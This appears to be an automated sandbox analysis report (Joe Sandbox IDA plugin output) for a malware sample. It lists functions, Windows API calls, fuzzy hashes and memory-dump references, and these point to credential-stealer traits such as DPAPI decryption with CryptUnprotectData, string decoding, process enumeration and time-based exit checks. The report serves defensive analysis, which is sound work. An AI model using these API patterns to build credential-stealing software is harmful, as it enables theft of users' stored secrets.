Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *So{$+{f$FO$I5o$tXy
API String ID: 0-313380642
Opcode ID: 5a09d47ceaf5478f1cade4340a73dda3ad300aa49755e74198095dd039d403d8
Instruction ID: d246448ec3baf0e72bcfa381dd9ebc04d69c0e5911ffd093db1a858f4031c8e3
Opcode Fuzzy Hash: 5a09d47ceaf5478f1cade4340a73dda3ad300aa49755e74198095dd039d403d8
Instruction Fuzzy Hash: 1EB217F360C204AFE3046E29EC8567ABBEAEFD4720F1A453DE6C483744EA7558058697

Function 006BDD3F Relevance: 7.9, Strings: 5, Instructions: 1625COMMON

Download Yara Rule

Strings

A:7, xrefs: 006BF0D7
OiUw, xrefs: 006BE0BA
(Bv?, xrefs: 006BE919
~, xrefs: 006BF0AE
o$, xrefs: 006BEF4E

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (Bv?$OiUw$A:7$o$$~
API String ID: 0-2293706008
Opcode ID: 0850d68a01be43dabd410b73aef7460a4adc9dcbf28551dbfdd25dc25d6b4f14
Instruction ID: fcb7d4f0fd74cc5e2d7da9ce145e9b03b2e2de8da50e543ffec457fbbe0e2694
Opcode Fuzzy Hash: 0850d68a01be43dabd410b73aef7460a4adc9dcbf28551dbfdd25dc25d6b4f14
Instruction Fuzzy Hash: F4B21AF3A0C2049FE3046E2DEC8567ABBE9EF94320F1A863DEAC4C7744E53558158697

Function 006AD1FA Relevance: 7.8, Strings: 5, Instructions: 1595COMMON

Download Yara Rule

Strings

c_d?, xrefs: 006ADA69
XnT, xrefs: 006AD796
pg, xrefs: 006AE447
Xdm, xrefs: 006ADD21
h0&o, xrefs: 006AD578

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: XnT$Xdm$c_d?$h0&o$pg
API String ID: 0-963659292
Opcode ID: fadefa855ec8968bafb18ef0ebf40fe9877e8311bbb6e82632d921141ae888bc
Instruction ID: 9e528cafdc817cc17c0c03181f2f8b2e17a5dee8d6fa0e086b771d269b51d7ec
Opcode Fuzzy Hash: fadefa855ec8968bafb18ef0ebf40fe9877e8311bbb6e82632d921141ae888bc
Instruction Fuzzy Hash: 1EB2F5F36082049FE314AE2DEC85A7AFBE9EF94720F16493DE6C4C3744EA3558058697

Function 006BA7EE Relevance: 7.8, Strings: 5, Instructions: 1564COMMON

Download Yara Rule

Strings

y]Z{, xrefs: 006BB1EB
&~?7, xrefs: 006BB61F
x]Z{, xrefs: 006BB1E6
\~o, xrefs: 006BAA9F
>i/, xrefs: 006BB60E

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &~?7$>i/$\~o$x]Z{$y]Z{
API String ID: 0-1267071312
Opcode ID: 5a29bb2a63f9b81d89a5ddefaa4824a7d8922d4f1ba33911baeb0c18a51f21d9
Instruction ID: 229b0758463582afc3bab29713c28c4202b84d36fc268d6df36cb1492c15985d
Opcode Fuzzy Hash: 5a29bb2a63f9b81d89a5ddefaa4824a7d8922d4f1ba33911baeb0c18a51f21d9
Instruction Fuzzy Hash: ABB2D4F360C6049FE304AE2DEC8567AFBE6EF94320F1A493DE6C483744EA3558058697

Function 002EC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 002EC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 002EC87C
lstrcat.KERNEL32(?,00300B46), ref: 002EC943
lstrcat.KERNEL32(?,00300B47), ref: 002EC957
lstrcat.KERNEL32(?,00300B4E), ref: 002EC978

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 281b3e26d7c92e712145e4c0e933becfc34c34034037b596f6a95ad0bf3bffab
Instruction ID: 4c6952f225b06515158b145d98cec82d3de0042bf332d9e57c63bab487ff365e
Opcode Fuzzy Hash: 281b3e26d7c92e712145e4c0e933becfc34c34034037b596f6a95ad0bf3bffab
Instruction Fuzzy Hash: 2B417EB5D1420ADBCB20DFA0DC89BFEB7B8BF48304F1041A8E509A6280D7709A85DF91

Function 002F6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 002F696C
sscanf.NTDLL ref: 002F6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 002F69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 002F69C0
ExitProcess.KERNEL32 ref: 002F69DA

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: c0266ccbb7b7d626f975344b94cfa31542339afa19fb59a738bd1445a32bd54e
Instruction ID: 4d586b01141884ea609d3f29af4bd2f1cf75a37bd4633b9af08acf2d2c36f7dd
Opcode Fuzzy Hash: c0266ccbb7b7d626f975344b94cfa31542339afa19fb59a738bd1445a32bd54e
Instruction Fuzzy Hash: B821ECB5D1020DABCF04EFE4D9459EEB7B5FF58300F04852AE506E3250EB745619CB65

Function 002E7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 002E724D
RtlAllocateHeap.NTDLL(00000000), ref: 002E7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 002E7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 002E72A4
LocalFree.KERNEL32(?), ref: 002E72AE

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 8cafc868ac42c3cc20d600627efcb78fe65e5cbcc710a7d099cc9eb186996a5f
Instruction ID: 03bc11c30e1b53f4288a8e92daa4760e92bf6743e1a69e53694d3e0137a36ced
Opcode Fuzzy Hash: 8cafc868ac42c3cc20d600627efcb78fe65e5cbcc710a7d099cc9eb186996a5f
Instruction Fuzzy Hash: 86011EB5A40208BBEB24DFE4DD4AF9E77B8EF44B00F104155FB05AB2C0D6B0AA059B65

Function 002F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 002F961E
Process32First.KERNEL32(00300ACA,00000128), ref: 002F9632
Process32Next.KERNEL32(00300ACA,00000128), ref: 002F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 002F965C
CloseHandle.KERNEL32(00300ACA), ref: 002F967A

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: b0da6958e127f7981cd0d6ade9a8d5da3f5fa8d8eb540ad6c496264d99654c38
Instruction ID: dd4bb6326335d66566d2845ed032f1c67f2b9aa86b2d327d65ee7133830af51e
Opcode Fuzzy Hash: b0da6958e127f7981cd0d6ade9a8d5da3f5fa8d8eb540ad6c496264d99654c38
Instruction Fuzzy Hash: D3010C75A1020CEBCB24DFA5CD48BEDB7F8EF58340F104198AA05D6240DB759B95DF51

Function 006A9BF1 Relevance: 6.6, Strings: 4, Instructions: 1649COMMON

Download Yara Rule

Strings

8H1l, xrefs: 006AA205
=m{, xrefs: 006AAC02
t|R, xrefs: 006A9EAB
@Wo=, xrefs: 006AA057

Memory Dump Source

Source File: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 8H1l$=m{$@Wo=$t|R
API String ID: 0-1693746152
Opcode ID: 71e86c35b7b28be9a58371fa4f559fa6cb3d0cf886d38aa1605be1cda0f8678c
Instruction ID: bf630ef2da9334716930e855e78d876ed9ac64673c0efc5b006697550700d479
Opcode Fuzzy Hash: 71e86c35b7b28be9a58371fa4f559fa6cb3d0cf886d38aa1605be1cda0f8678c
Instruction Fuzzy Hash: 4EB207F36082049FE304AE2DEC8567AFBE9EF94720F1A493DE6C4C7744E63598418697

Function 002F8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,002E5184,40000001,00000000,00000000,?,002E5184), ref: 002F8EC0

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 4837d02e40bd09e3f4968a1013d76845c8730a0eab32e05c51ba47dd79d2acd1
Instruction ID: d3ebb6565d0f9a8bb1989eae4e2e8b8ab36eedc07bac1771b37812b07f854ddf
Opcode Fuzzy Hash: 4837d02e40bd09e3f4968a1013d76845c8730a0eab32e05c51ba47dd79d2acd1
Instruction Fuzzy Hash: C4112E70220209FFDB00CF64D885FB7B3A9AF8A740F109568FA158B250DB75EC55DB61

Function 002F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0132EA50,00000000,?,00300E10,00000000,?,00000000,00000000), ref: 002F7A63
RtlAllocateHeap.NTDLL(00000000), ref: 002F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0132EA50,00000000,?,00300E10,00000000,?,00000000,00000000,?), ref: 002F7A7D
wsprintfA.USER32 ref: 002F7AB7

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: e94a9c6dc2af06aa5595650546d1b31fad29e5688d68f53a02ce375787c89349
Instruction ID: 7d8a5f7a03bb02577dbbd190f4ccebc181e95f7b4feb310fcf8fb247c834a116
Opcode Fuzzy Hash: e94a9c6dc2af06aa5595650546d1b31fad29e5688d68f53a02ce375787c89349
Instruction Fuzzy Hash: 21118EB1A45218EBEB208F54DC49FA9B778FB05761F1043AAEA1A932C0D7741A45CF51

Function 002F3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(002FE118,00000000,00000001,002FE108,00000000), ref: 002F3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 002F37B0

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: a36e6e8dffd58209834fff857f5902e84f0700546ccfc8da9ee011ed8ea8a769
Instruction ID: ec54402cdabd06b057cca9611eb8ea1be76b5f10ce9c88990bae479cd3b59e55
Opcode Fuzzy Hash: a36e6e8dffd58209834fff857f5902e84f0700546ccfc8da9ee011ed8ea8a769
Instruction Fuzzy Hash: 6741F870A10A2C9FDB24DB58CC94BABB7B5BB48702F4041D8E608E72D0D7B16E85CF50

Function 002E9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 002E9B84
